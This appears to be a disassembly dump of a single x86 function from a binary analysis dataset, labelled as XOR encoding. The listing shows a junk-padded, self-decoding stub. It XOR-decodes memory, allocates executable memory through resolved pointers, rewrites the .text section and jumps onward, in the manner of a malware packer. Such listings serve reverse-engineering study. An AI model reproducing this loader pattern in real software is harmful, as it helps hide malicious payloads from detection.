Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xababd162
mov ebx, 0xf0a4dbd2
mov ebx, ecx
add ebx, ebx
popal
sub ecx, 0x50341697
mov ecx, ebx
mov edx, 0
mov ecx, eax
add esi, esi
add edi, esi
dec edi
mov ebx, ecx
or edi, edi
sub edi, 0x90c03967
mov eax, ebx
add esi, esi
inc edi
inc edx
add esi, esi
add esi, esi
mov esi, 0x1d9706bb
cmp edx, 0x100ee7f
jne 0xa789c9
add esi, 0x73e81153
inc esi
not esi
sub ebx, ecx
add ebx, 0x707c3c0a
sub ebx, ecx
mov esi, 0xa78796
inc ebx
inc edx
mov eax, 0xa7898a
mov edi, edx
inc edx
not edx
mov ecx, dword [esi]
dec ebx
sub ebx, edx
and ecx, 0xff
sub ebx, edi
mov edx, 0xfe27655f
xor dword [eax], ecx
dec edx
sub edi, edx
inc eax
or ebx, edx
add ebx, ebx
and edx, ebx
inc esi
sub edx, 0xe3571a88
sub edi, 0x4bc99459
cmp eax, entry0
jl 0xa78a19
sub ebx, 0xf0e53881
mov edx, 0xb293d7e5
mov ebx, edi
not ebx
add edi, 0xbb4087f3
or esi, esi
sub edi, 0x303801aa
dec edi
mov ecx, 0xa7898e
and esi, esi
inc edx
mov ebx, 0xc9c9fcaa
mov ecx, dword [ecx]
or edi, edi
sub edi, esi
mov ecx, dword [ecx]
inc esi
sub edx, 0xe0fce383
or edi, edx
push ecx
or esi, esi
mov edi, 0xc6bbf2f5
mov ecx, 0xa7898a
sub esi, edi
not edx
add ebx, 0xba41dc55
mov ecx, dword [ecx]
sub edi, 0x4cc551b6
add edi, 0x43a6fa4
mov esi, edx
mov ecx, dword [ecx]
sub esi, edi
mov edx, 0xa499c35f
sub esi, 0x37e66cec
sub esp, 4
mov dword [esp], 0xa78992
add edi, 0x6e827474
mov edx, 0x103a3350
call ecx
or esi, edi
mov ebx, edx
mov ecx, dword [esp]
add esp, 4
or edi, edi
add edi, ebx
inc edi
push 0xa7899f
or ebx, esi
mov ebx, edx
push eax
add edx, 0x95cd41c4
and esi, ebx
mov edi, 0x555dcd17
call ecx
not edi
mov ebx, edi
push 0x40
dec esi
mov edi, 0x88663010
sub ebx, 0x6fa3c760
push 0x3000
inc ebx
and ebx, esi
add edx, ebx
push 0x2000084b
sub esi, ebx
add edx, ebx
inc ebx
sub esp, 4
mov dword [esp], 0
not edx
inc edx
mov edi, esi
call eax
or edx, ebx
or edx, esi
add eax, 0x200007d5
not esi
mov ebx, esi
mov ecx, 0x2e932421
mov edi, 0x1389e7b9
add esi, 0xb7330eaa
mov dword [eax], ecx
dec edx
dec ebx
mov ecx, dword [eax]
or ebx, edx
mov ebx, edi
and edi, edi
cmp ecx, 0x2e932421
je 0xa78b74
mov edx, 0
mov byte [edx], cl
mov esi, ebx
sub edi, edx
inc edi
or ebx, esi
sub esi, 0x2fc9fcfe
add ebx, 0xe2242d5f
add ecx, ebx
not ebx
mov eax, section..text
mov ebx, ecx
inc ebx
mov edx, 0xa78795
dec ebx
add ebx, 1
add ecx, ecx
mov esi, 0
not ecx
inc ebx
inc ebx
mov edi, 0xa78796
mov ebx, ecx
sub ecx, 0xe2c455e0
mov ecx, 0xf8c9187c
lea edi, [edi + esi]
and ebx, ecx
or ebx, ecx
mov edi, dword [edi]
mov ebx, 0xb841dad9
sub ecx, ebx
not ebx
and edi, 0xff
sub ebx, 0x4b099470
mov ecx, ebx
inc esi
not ebx
sub ecx, 0xf5e85eda
sub ecx, 0xe7b97094
cmp esi, 0x1f4
jne 0xa78bf8
mov esi, 0
add ecx, 0x2dfbfb28
and ecx, ecx
add ebx, 0xaf7aaba8
not ebx
or ecx, ecx
or ecx, ecx
xor dword [eax], edi
dec ebx
mov ebx, 0x26555ed1
add ecx, ebx
add eax, 2
mov ecx, ebx
and ecx, ecx
or ebx, ecx
cmp eax, edx
jl 0xa78baa
mov ebx, ecx
sub ecx, ebx
sub ecx, 0x418127ff
mov ebx, 0xa87a761
mov ecx, ebx
not ebx
mov eax, section..text
add ecx, 0x45b84467
not ecx
mov edx, section..text
mov esi, 0x505e2652
add ecx, 0xc30472a9
sub ecx, 0x2e10d51e
mov edi, 0xa78795
sub ecx, esi
sub esi, 0x5cc0132
mov ecx, 0x24da6fbe
mov ebx, 0
add ecx, 1
add esi, 1
or ecx, ecx
mov bl, byte [edx]
inc ecx
add esi, esi
mov byte [eax], bl
add esi, 0xc7b28022
inc ecx
add ecx, esi
inc eax
mov ecx, esi
not ecx
add edx, 2
or ecx, esi
add ecx, esi
cmp edx, edi
jle 0xa78c85
mov ecx, 0x2f3d7e04
dec esi
mov ebx, 0xd66d2973
not ebx
inc ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ecx, 0xb838b32e
not ebx
sub ecx, ebx
ret